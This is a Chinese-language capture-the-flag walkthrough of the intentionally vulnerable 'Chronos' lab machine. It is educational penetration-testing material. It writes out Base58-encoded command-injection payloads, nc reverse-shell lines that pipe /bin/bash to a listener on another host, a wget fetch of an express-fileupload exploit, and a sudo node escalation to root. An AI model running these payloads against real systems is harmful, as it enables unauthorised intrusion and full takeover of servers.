Chronos
一、思路及简介
- 攻击思路
- 端口扫描
- WEB侦查
- 命令注入
- 数据编解码
- 搜索大法
- 框架漏洞利用
- 代码审计
- NC串联
- 本地提权
二、主机发现
2.1、netdiscover
这次主机发现使用的netdiscover
这个工具
这款工具与arp-scan
,arping
原理都是相同的,都是通过发送arp
广播数据包来进行主机发现,只是命令的使用格式不一样。
对kali所在网段进行扫描,建议将真实的子网掩码位数减8作为要扫描的子网掩码位数,这样设置是实际使用中对地址发现的速度、效果会更好一些
执行命令:
sudo netdiscover -r 10.0.2.0/16 |
对10.0.2.9进行端口扫描
2.2、nmap
端口扫描
sudo nmap -p- 10.0.2.9 |
发现开放端口,进一步对端口对应服务扫描
sudo nmap -p22,80,8000 -sV 10.0.2.9 |
扫描结果
- 22端口,对应的是ssh服务,版本号是7.6p1,目标靶机是Ubuntu
- 80端口,对应的的是apache web应用,再次验证靶机是Ubuntu
- 8000端口,对应的也是http服务,使用的是Node.js结合Express开发框架
三、WEB侦查
访问靶机对应的web服务
3.1、针对Web应用进行渗透时,惯用手法
- 针对Web应用进行爬站,将隐藏的路径,隐藏的文件爬出来
- 按ctrl+u或者在浏览器页面上查看当前页面的源码,查看可能会有的隐藏元素、接口、脚本等
查看页面源码
并没有查看到更多的url
地址和页面资源,但是发现了一段JS
脚本,这段脚本似乎在预示着什么,应该是在页面上执行某些功能,通常会预期通过这段脚本发现调用的某些后端接口
3.2、数据编解码
将脚本内容粘贴出来,看看能否读懂在干什么
var _0x5bdf=['150447srWefj','70lwLrol','1658165LmcNig','open','1260881JUqdKM','10737CrnEEe','2SjTdWC','readyState','responseText','1278676qXleJg','797116soVTES','onreadystatechange','http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL','User-Agent','status','1DYOODT','400909Mbbcfr','Chronos','2QRBPWS','getElementById','innerHTML','date'];(function(_0x506b95,_0x817e36){var _0x244260=_0x432d;while(!![]){try{var _0x35824b=-parseInt(_0x244260(0x7e))*parseInt(_0x244260(0x90))+parseInt(_0x244260(0x8e))+parseInt(_0x244260(0x7f))*parseInt(_0x244260(0x83))+-parseInt(_0x244260(0x87))+-parseInt(_0x244260(0x82))*parseInt(_0x244260(0x8d))+-parseInt(_0x244260(0x88))+parseInt(_0x244260(0x80))*parseInt(_0x244260(0x84));if(_0x35824b===_0x817e36)break;else _0x506b95['push'](_0x506b95['shift']());}catch(_0x3fb1dc){_0x506b95['push'](_0x506b95['shift']());}}}(_0x5bdf,0xcaf1e));function _0x432d(_0x16bd66,_0x33ffa9){return _0x432d=function(_0x5bdf82,_0x432dc8){_0x5bdf82=_0x5bdf82-0x7e;var _0x4da6e8=_0x5bdf[_0x5bdf82];return _0x4da6e8;},_0x432d(_0x16bd66,_0x33ffa9);}function loadDoc(){var _0x17df92=_0x432d,_0x1cff55=_0x17df92(0x8f),_0x2beb35=new XMLHttpRequest();_0x2beb35[_0x17df92(0x89)]=function(){var _0x146f5d=_0x17df92;this[_0x146f5d(0x85)]==0x4&&this[_0x146f5d(0x8c)]==0xc8&&(document[_0x146f5d(0x91)](_0x146f5d(0x93))[_0x146f5d(0x92)]=this[_0x146f5d(0x86)]);},_0x2beb35[_0x17df92(0x81)]('GET',_0x17df92(0x8a),!![]),_0x2beb35['setRequestHeader'](_0x17df92(0x8b),_0x1cff55),_0x2beb35['send']();} |
很明显,这段脚本的内容似乎都是经过了编码处理,导致很难从语义,函数名称等等角度来读懂这段代码的含义
遇到这种情况,一般会对JS
代码进行美化、还原、整理操作
接下来介绍一款非常强大的针对计算机各种数据类型进行编解码、还原、解密、解压等等相关操作的工具,即CyberChef
网站地址:CyberChef (gchq.github.io),而且还可以下载下来在本机上运行,使用浏览器来打开使用
将JS
代码粘贴到输入框中,选择JavaScript Beautify
模块
美化后的结果
var _0x5bdf = [ |
3.3、分析代码
发现美化后的代码还是比较难读,函数的名称依旧是经过编码处理的,若想要完全读懂这段代码的含义,理想上还是得将这些函数名称编码转换回来,当然利用CyberChef
是可以做到的;不过从渗透高效的角度来说,应该重点关注这段代码中比较容易识别且一眼看上去就很可疑的内容
这段代码中绝大多数内容都是经过编码的不太好读,但是有一处明文的url
地址,即http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
分析这段url
,它的主机名是chronos
就是这台靶机的名称,local
的意思是本地,恰巧靶机上的8000
端口运行着http
服务,所以有理由怀疑chronos.local:8000
指向的就是靶机本身的8000
端口
编辑kali中的hosts
文件,增加chronos.local
对应的IP
地址为靶机的IP
:10.0.2.9
执行命令:
sudo vim /etc/hosts |
再次访问:http://10.0.2.9,查看是否有通过刚刚这个url
地址加载其他的数据,从而导致前端页面或者源码发生变化
发现真的在前端页面上多出了一段内容,接下来就应当打开burpsuite
,利用burpsuite
的代理截断功能,在重新加载页面的时候,截获所有的网络流量,分析一下整个的通信过程,加载了哪些资源,访问了哪些地址
四、命令注入
4.1、抓包分析
打开burpsuite
,关闭截断功能,配置浏览器代理,重新访问页面
从burpsuite
的HTTP history
中可以看到,浏览器首先以GET
方式请求了根路径,接着以OPTIONS
和GET
方式请求了刚刚在JS
脚本中的url
地址,并且在GET
请求的响应数据是当前时间,再定睛一看,这个响应结果就是浏览器中多出来的内容
将最后一个GET
请求包发送到Repeter
模块中,快捷键Ctrl+R
或者右键选择Send to Repeter
这个时候应该问自己一个问题:为什么当浏览器发送这样的http请求,服务端会将系统时间发聩回来,如果将这串特殊字符4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
修改掉的话,服务器是否还会作这样的响应
当任意修改这串特殊的字符串后,发送请求后服务器无响应数据,通过这样的简单测试,至少可以确定format=
后面这串字符对于请求服务端的系统时间是至关重要的
观察这段字符,发现长的样子很像base64
编码后的字符,利用CyberChef
的Magic
模块来解码数据
Magic
模块会自动分析输入的字符串可能是通过什么格式的编码来形成的
通过Magic
模块的分析,得到这串字符的编码方式为Base58
,解码后的数据为:
+Today is %A, %B %d, %Y %H:%M:%S. |
Base58和Base64的区别
Base58是用于Bitcoin中使用的一种独特的编码方式,主要用于产生Bitcoin的钱包地址。
相比Base64,Base58不使用数字”0”,字母大写”O”,字母大写”I”,和字母小写”l”,以及”+”和”/“符号。
设计Base58主要的目的是:
避免混淆。在某些字体下,数字0和字母大写O,以及字母大写I和字母小写l会非常相似。
不使用”+”和”/“的原因是非字母或数字的字符串作为帐号较难被接受。
没有标点符号,通常不会被从中间分行。
大部分的软件支持双击选择整个字符串。
但是这个base58的计算量比base64的计算量多了很多。因为58不是2的整数倍,需要不断用除法去计算。
而且长度也比base64稍微多了一点。
参考链接:Base58和Base64的区别 - 简书 (jianshu.com)
结合转码后字符串'+Today is %A, %B %d, %Y %H:%M:%S.'
和url
地址http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
中的date
查询参数,非常像Linux
中的date
命令
比方说命令:
date '+Today is %A, %B %d, %Y %H:%M:%S.' |
%A : 星期几 (Sunday..Saturday) |
参考链接:Linux date命令 | 菜鸟教程 (runoob.com)
当产生这个怀疑并进行简单测试之后,初步推测:当访问这段http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
地址时,服务端执行的就是Linux date
系统命令,如果执行的是系统指令,那么就应该可以通过诸如,
、管道符
、||
、&&
来注入更多的命令,从而实现反弹shell
4.2、Payload构造
首先构造Payloads
,进行base58
编码后提交到服务端,验证猜想,Payloads
如下
&& ls |
编码后
5Jdixo4 |
将5Jdixo4
作为参数值提交到服务端
返回的结果列出了当前目录下的文件,真的有命令注入漏洞
五、 NC反弹Shell
既然验证出了有命令注入漏洞,就应当利用这个漏洞来反弹shell
命令注入漏洞反弹shell
时首选nc
,因为nc
的适用范围特别广,如果目标靶机上存在nc
的话就不用再花时间上传别的工具上去,直接通过nc反弹shell
查看目标靶机是否存在nc
Payloads | base58编码后 |
---|---|
&& ls /bin/nc | 4BJ88AkbuHSuYTck2e |
返回的结果显示出现了一些错误,可是命令明明是对的,ls
在之前的验证当中也是可以正常运行的
再次构造Payloads
Payloads | base58编码后 |
---|---|
&& ls /bin | 39JyvVr3FjbwAV |
提交数据到服务端(注意:提交之前需要重启靶机,否则由于刚刚的错误可能触发了目标靶机某些运行环境的改变,造成此url不再返回数据)
这次运行成功,首先看到目标靶机有bash
,所以在反弹shell
时可以选择它
搜索是否存在nc
结果显示目标靶机上是存在nc
的
测试此nc
是否可以正常运行,是否能够建立基本连接
先在kali上侦听4444
端口
执行命令:
nc -nvlp 4444 |
构造Payloads
Payloads | base58编码后 |
---|---|
&& nc 10.0.2.8 4444 | 7z53yRw7rBpK6bZzzLiu6mzbEs |
响应的结果说发生了一些错误,但是连接已经成功建立了,说明目标靶机上存在nc
且可以正常建立连接
-
测试此nc
带不带-e
参数,如果有直接利用-e
参数反弹shell
,如果没有则利用靶机02中的方法NC串联
来反弹shell
在kali端重新侦听4444
端口
构造Payloads
Payloads | base58编码后 |
---|---|
&& nc 10.0.2.7 4444 -e /bin/bash | 3ZvDHzaCGqZ8QHRSqqWgqs2zWPV699tYwn7v3v5BUKUj |
发现连基本的TCP
连接都没有建立,更别说反弹shell
了
基本可以判断目标靶机上的nc
不带-e参数
不得不选择NC串联
方法来反弹shell
在kali端侦听4444
和5555
端口
构造Payloads
Payloads | base58编码后 |
---|---|
&& nc 10.0.2.7 4444 |/bin/bash |nc 10.0.2.7 5555 | UGDw4GJJkFbTzqwn2PUpPJ9J8Ffdzg6USGexPydruuoMUnYCVbKud1J9MaiMMCREZZAU |
反弹shell
成功,由于利用的是web
服务器上的命令注入漏洞获取到的shell
,所以默认所处的路径应该是当前web
应用所在的应用程序放置路径
六、信息收集
在当前目录下并没有看到可能是flag
的文件,接下来就需要去找到这些flag
在这个阶段就需要在目标靶机上进行大量的信息收集,查看目标靶机上存在哪些用户账号以及所有的敏感目录,在敏感目录下是否包含一些看似是
flag
的文件
查看所有的用户账号
6.1、查看账号
利用nc
在目标靶机上执行命令:cat /etc/passwd
查看到目标靶机上存在可以登录的imera
账号
去这个账号的主目录下看看都有什么文件
发现这个目录下存在user.txt
这个看起来就很像flag
的文件,遗憾的是这个文件仅有属主具有读写权限
七、失败的提权尝试
既然没有权限读取内容,那么接下来的目标就很明确,就是要把自己提升为imera
账号权限,甚至是root
账号权限
在
Linux
系统中常见的三种提权方法
- 内核漏洞提权
SUID
配置错误提权sudo
提权
7.1、尝试使用内核漏洞提权
查看目标靶机的内核版本
针对内核版本4.15
在网上寻找已知的内核漏洞提权的工具和代码,一无所获
7.2、尝试使用SUID
配置错误提权
在目标靶机上寻找SUID
权限配置错误,一无所获
7.3、尝试使用sudo
提权
当前账号www-data
的权限非常低,没有sudo
的权限
至此,提权的进展遇到了一些困境
八、express-fileupload提权
这样的困境在真实的渗透测试过程中都会遇到,当自己惯用的方法针对当前系统无效时,必须要寻找新的出路
如何寻找新的出路呢?
最重要的无外乎就是在目标系统上进行大量的信息收集,渗透测试的经验越丰富越发现,信息收集其实才是渗透测试过程中最最关键的环节,当把目标系统上的信息尽量完整的收集到之后,自然而然就会产生很多的漏洞利用攻击思路或手段
思路来源于大量的,完善的信息收集
通过在目标靶机上进行了大量的信息收集,查看系统文件目录等,经过一番折腾之后最终发现在web应用
的根目录即/opt/chronos
存在突破点
在/opt/chronos
下存放着web应用
服务端的代码
但是这个web应用
服务端程序是通过Node.js
使用JavaScript
语言来开发的
作为渗透测试者经常会面对这样的情况,遇到自己压根不熟悉的技术;这个时候就要求我们具备快速的学习能力,利用最短的时间上网搜索,吸收知识,了解这种技术最核心,本质的实现原理
经过一天左右的搜索,最终发现存在于目标靶机上Node.js
的漏洞,并利用这个漏洞成功的进行了提权
Node.js最初由个人开发,现在交于Node.js基金会来进行维护
简单的说 Node.js 就是运行在服务端的 JavaScript。
Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台。
Node.js是一个事件驱动I/O服务端JavaScript环境,基于Google的V8引擎,V8引擎执行Javascript的速度非常快,性能非常好。
基于Node.js开发应用程序通常都会基于已有的框架和库,例如
Socket.io
、Express
、Axios
,而针对web应用
开发的话最常用的就是Express
尝试对目标靶机的web应用
进行代码审计
每个基于
Node.js
开发项目的根目录下面,一般都有一个package.json
文件,定义了这个项目所需要的各种模块,以及项目的配置信息(比如名称、版本、许可证等元数据)。npm install
命令根据这个配置文件,自动下载所需的模块,也就是配置项目所需的运行和开发环境。参考链接:package.json文件 – JavaScript 标准参考教程(alpha) (ruanyifeng.com)
8.1、代码审计
查看package.json
文件内容
果然这个web应用
使用的是Express
框架来开发的,于是就从网上进行了大量的搜索,搜索Express
框架是否存在已知的漏洞,一无所获
继续查看web应用
后端主文件app.js
内容
// created by alienum for Penetration Testing |
这段源码似乎对提权也并没有帮助,不得不继续在目标靶机上做信息收集,又一番折腾过后
在/opt
目录下还存在/chronos-v2
目录
发现这个另外一个web应用
,有前端模板文件index.html
,前端代码目录frontend
,后端代码目录backend
进入后端代码目录中看一下
依然存在package.json
文件,二话不说查看一下内容,看看都用到了哪些库,而这些库是否存在某些已公开的提权漏洞
ejs:是一套简单的模板语言,帮你利用普通的 JavaScript 代码生成 HTML 页面。 |
ejs
和express
都没有给机会,但是express-fileupload
给了提权一线曙光
查看服务端代码文件server.js
// 加载用到的库 |
这段代码也非常的简单,唯一有希望的地方就是这些模块存在可以利用的提权漏洞,到网上继续一顿搜索这么模块存在的漏洞
功夫不负有心人,在花费1天左右的时间后最终找到了模块express-fileupload
存在的一个漏洞
8.2、漏洞利用原理
在这篇文章中比较详细的介绍了这个漏洞类型:NodeJS module downloaded 7M times lets hackers inject code (bleepingcomputer.com)(需FQ),并且还有一个链接链接到了这个漏洞最初发现者的原始博客文章:Real-world JS - 1 (p6.is),而在最初发现者的文章中完整的介绍了这个漏洞是如何产生的、背后的原理以及如何进行漏洞利用
根据这篇文章得知当开启app.use(fileupload({ parseNested: true }));
时,漏洞则会存在,回去检查一下靶机服务端代码文件,发现正好开启了这个功能,真的有可能成功利用这个漏洞获得提权的效果
在这篇文章的最后部分,作者贴心的写上了简化的漏洞利用代码,是一段python
代码
8.3、Python脚本
import requests |
将其中的地址和端口改成正确的
import requests |
首先在kali上创建这个文件,保存为exp.py
]
由于web应用
监听的是127.0.0.1:8080
,所以在kali上启动http服务将这个文件传输到目标靶机上,在目标靶机上利用wget
下载文件
在kali端侦听4444
端口
在目标靶机上执行exp.py
成功在kali上获得到了反弹shell
,长长的出了口气
提权获取的账号是imera
,而在之前的信息收集中又发现在这个用户目录下存在一个类似flag
的文件user.txt
看起来一定是flag
的内容了
九、sudo+Node.js提权
根据靶机作者的描述在root
用户目录下还存放着一个flag
文件,尝试进入root
用户目录查看文件类型
发现没有权限,不得不面临着第二次的提权
9.1、尝试使用sudo
提权
发现有可乘之机,框框中的两行表示在不需要密码的情况下就能以root
权限运行npm
和node
这两个命令
通过网上搜索,寻找到了这么一段Payloads
通过调用node生成一个子进程,而在这个子进程中执行的就是/bin/bash |
可喜可贺,取得了root
权限的shell
查看flag
文件
收获到root
账号下的flag
,本次打靶圆满完成!
十、总结
打靶过程文字概述
先做了主机发现、端口扫描、应用发现等基本操作
在
web
页面源码中发现了个奇怪的域名,通过hosts
文件绑定域名和IP之后,发现了页面中的某些变化通过对
url
中参数值进行base58
解码分析,得到了一个命令注入漏洞,通过构造Payloads
并进行base58
编码后,成功利用这个命令注入漏洞获取了一个基础的nc
反弹shell在这台靶机上收获
flag
以及提权的过程中遇到了很多的困难,最终通过代码审计+搜索大法找到了web应用
使用到的一个模块的漏洞,成功提权最近这些年在互联网上爆出了很多很多的漏洞,其中相当大比例都是开源的框架上的漏洞;现在绝大多数的系统都是基于现成的框架/CMS/模块开发出来,所以若一个框架/CMS/模块在世界上的应用很广泛,一旦这个框架/CMS/模块出现问题,那么受到攻击威胁的服务器也会非常多
再次通过
sudo
提权,拿到了root
权限的shell